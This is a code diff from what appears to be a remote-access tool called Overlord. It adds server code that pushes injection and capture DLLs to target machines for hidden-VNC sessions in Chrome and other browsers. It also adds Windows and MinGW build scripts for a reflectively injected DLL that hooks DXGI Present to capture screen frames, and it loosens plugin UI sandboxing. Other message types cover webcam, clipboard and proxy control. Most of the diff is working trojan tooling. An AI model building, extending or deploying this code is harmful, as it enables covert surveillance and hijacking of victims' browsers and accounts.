path: String(payload.path || ""), path: String(payload.path || ""),
dll: dllData, dll: dllData,
}); };
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
break; break;
} }
case "hvnc_start_browser_injected": { case "hvnc_start_browser_injected": {
@@ -827,14 +899,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break; break;
} }
sendHVNCCommand(target, "hvnc_start_browser_injected", { const captureDllBrowser = getCaptureDllBytes();
const browserCmdPayload: Record<string, any> = {
browser: String(payload.browser || ""), browser: String(payload.browser || ""),
path: String(payload.path || ""), path: String(payload.path || ""),
clone: payload.clone !== false, clone: payload.clone !== false,
cloneLite: payload.cloneLite === true, cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning === true, killIfRunning: payload.killIfRunning === true,
dll: dllData, dll: dllData,
}); };
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
break; break;
} }
case "clipboard_sync": { case "clipboard_sync": {
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.8.4"; export const SERVER_VERSION = "1.8.6";
+1
View File
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"webcam_devices", "webcam_devices",
"hvnc_clone_progress", "hvnc_clone_progress",
"hvnc_lookup_result", "hvnc_lookup_result",
"hvnc_dxgi_status",
"clipboard_content", "clipboard_content",
"proxy_data", "proxy_data",
"proxy_close", "proxy_close",
+53
View File
@@ -0,0 +1,53 @@
@echo off
setlocal EnableDelayedExpansion
REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj).
REM Run from VS Developer Command Prompt, or let the script detect VS.
set ROOT=%~dp0
set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj
set OUT_DIR=%ROOT%Overlord-Server\dist-clients
set CONFIG=Release
set PLATFORM=x64
REM Locate MSBuild via vswhere if not already on PATH
where msbuild.exe >nul 2>&1
if %ERRORLEVEL% neq 0 (
echo msbuild.exe not found, searching for Visual Studio ...
set "FOUND_VS="
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
set "MSBUILD_PATH=%%i"
set "FOUND_VS=1"
)
if not defined FOUND_VS (
echo ERROR: Visual Studio with MSBuild not found.
exit /b 1
)
echo Found MSBuild at: !MSBUILD_PATH!
)
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
if defined MSBUILD_PATH (
"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
) else (
msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
)
if %ERRORLEVEL% neq 0 goto :error
if not exist "%OUT_DIR%\HVNCCapture.x64.dll" (
echo ERROR: DLL not found in output directory.
goto :error
)
echo.
echo Built: %OUT_DIR%\HVNCCapture.x64.dll
dir "%OUT_DIR%\HVNCCapture.x64.dll"
echo Done.
exit /b 0
:error
echo.
echo BUILD FAILED
exit /b 1
+247
View File
@@ -0,0 +1,247 @@
#!/usr/bin/env bash
# Build HVNCCapture DLL for Windows x64 using MinGW cross-compiler (C++).
# Run from the repository root or from Docker.
#
# HVNCCapture hooks IDXGISwapChain::Present to capture frames from the GPU
# process. It uses MinHook for hooking and ReflectiveLoader for injection.
#
# Requirements:
# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof)
# - MinHook source under HVNCCapture/Minhook/
#
# If MinHook source is not available, you can pre-build the DLL with MSVC
# on Windows using build-hvnc-capture-dll.bat and place the output at:
# Overlord-Server/dist-clients/HVNCCapture.x64.dll
set -euo pipefail
cd "$(dirname "$0")"
# C++ compiler for COM / __uuidof support
CXX="${CXX:-x86_64-w64-mingw32-g++}"
CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-HVNCCapture/src}"
OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="HVNCCapture.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}"
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCCapture/Minhook}"
mkdir -p "$OUT_DIR"
MINHOOK_DIR="$SRC_DIR/minhook"
stage_minhook_tree() {
local source_root="$1"
local include_root="${2:-$1}"
mkdir -p "$MINHOOK_DIR/hde"
cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
mkdir -p "$SRC_DIR/include"
if [ -f "$source_root/MinHook.h" ]; then
cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
elif [ -f "$include_root/MinHook.h" ]; then
cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
fi
}
stage_minhook_from_static_dir() {
local candidate_src=""
local candidate_include=""
for dir in "$MINHOOK_STATIC_DIR" "HVNCCapture/Minhook" "HVNCCapture/minhook"; do
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
candidate_src="$dir"
candidate_include="$dir"
break
fi
if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
candidate_src="$dir/src"
if [ -f "$dir/include/MinHook.h" ]; then
candidate_include="$dir/include"
else
candidate_include="$dir/src"
fi
break
fi
done
if [ -n "$candidate_src" ]; then
echo "Using static MinHook source from $candidate_src"
stage_minhook_tree "$candidate_src" "$candidate_include"
return 0
fi
return 1
}
# Verify C++ cross-compiler is available
if ! command -v "$CXX" >/dev/null 2>&1; then
echo "ERROR: C++ cross compiler not found: $CXX"
echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment."
exit 1
fi
fetch_minhook() {
if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
return 1
fi
if ! command -v git >/dev/null 2>&1; then
echo "WARNING: git is not available; cannot auto-fetch MinHook."
return 1
fi
echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
local tmpdir
tmpdir="$(mktemp -d)"
if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
rm -rf "$tmpdir"
echo "WARNING: Failed to fetch MinHook source."
return 1
fi
stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
mkdir -p "$SRC_DIR/include"
cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
rm -rf "$tmpdir"
[ -f "$MINHOOK_DIR/hook.c" ]
}
# --- Stage MinHook source ---
if [ ! -d "$MINHOOK_DIR" ]; then
if ! stage_minhook_from_static_dir && ! fetch_minhook; then
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
MINHOOK_OBJS=""
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi
fi
if [ -d "$MINHOOK_DIR" ]; then
if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then
stage_minhook_from_static_dir || fetch_minhook || true
fi
fi
if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then
echo "Building MinHook from source ..."
MINHOOK_OBJS=""
MINHOOK_LIB=""
MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then
mkdir -p "$SRC_DIR/include"
if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h"
elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h"
fi
fi
# MinHook is pure C — compile with gcc
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \
"$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
if [ -f "$src" ]; then
obj="${src%.c}.o"
"$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
fi
done
if [ -z "${MINHOOK_OBJS// }" ]; then
echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi
else
MINHOOK_OBJS=""
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi
# --- Compile HVNCCapture sources ---
# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof
CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CXXFLAGS="$CXXFLAGS -fno-stack-protector"
CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables"
CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CXXFLAGS="$CXXFLAGS $MINHOOK_INC"
fi
# C flags for ReflectiveLoader (pure C, no C++)
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector"
CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
CFLAGS="$CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
fi
echo "Compiling ReflectiveLoader.c ..."
"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c (C++) ..."
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
echo "Compiling DXGICapture.c (C++) ..."
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c"
echo "Linking $DLL_NAME ..."
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o"
if [ -n "${MINHOOK_OBJS:-}" ]; then
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
fi
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi"
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
fi
"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--entry,DllMain \
-Wl,--no-seh \
-Wl,--disable-runtime-pseudo-reloc \
-fno-stack-protector \
-fno-exceptions -fno-rtti \
-static-libgcc -static-libstdc++ \
-s
echo "Built: $OUT_DIR/$DLL_NAME"
ls -la "$OUT_DIR/$DLL_NAME"
# Clean up object files
rm -f "$SRC_DIR"/*.o
if [ -d "$MINHOOK_DIR" ]; then
find "$MINHOOK_DIR" -name '*.o' -delete
fi
echo "Done."
+12 -8
View File
@@ -459,13 +459,19 @@ rustup target add aarch64-apple-darwin x86_64-apple-darwin
### Open the UI ### Open the UI
Plugin UI is served from: Plugin UI is embedded directly in the main page at:
``` ```
/plugins/<pluginId>?clientId=<CLIENT_ID> /plugins/<pluginId>?clientId=<CLIENT_ID>
``` ```
Your HTML loads its JS/CSS from `/plugins/<pluginId>/assets/`. The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
To get the `clientId` in your JS:
```js
const clientId = new URLSearchParams(window.location.search).get("clientId");
```
## 6) Runtime: how events flow ## 6) Runtime: how events flow
@@ -542,15 +548,13 @@ Plugins have the same capabilities as the agent itself.
| Rust | Yes | Minimal | | Rust | Yes | Minimal |
| Go | **No** ([#11100](https://github.com/golang/go/issues/11100)) | Go runtime + GC | | Go | **No** ([#11100](https://github.com/golang/go/issues/11100)) | Go runtime + GC |
### UI Security constraints ### UI embedding
Plugin UI pages are still served with a tight CSP: Plugin UI pages are embedded **directly** into the main Overlord page — no iframe, no sandbox, no bridge. The server reads your plugin's HTML, extracts the `<body>` content and any `<link>`/`<style>` tags from the `<head>`, and injects them into the standard page layout (with nav bar, Tailwind CSS, etc.).
- Scripts must be same-origin Your plugin JS runs in the same browsing context as the main UI, so `fetch()` calls to the API work directly — no special bridge or proxy needed.
- No third-party JS/CDN
- WebSocket and fetch are allowed to same origin
Plugin UIs run in a **sandboxed iframe** with a fetch bridge. Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
## 8) API surface ## 8) API surface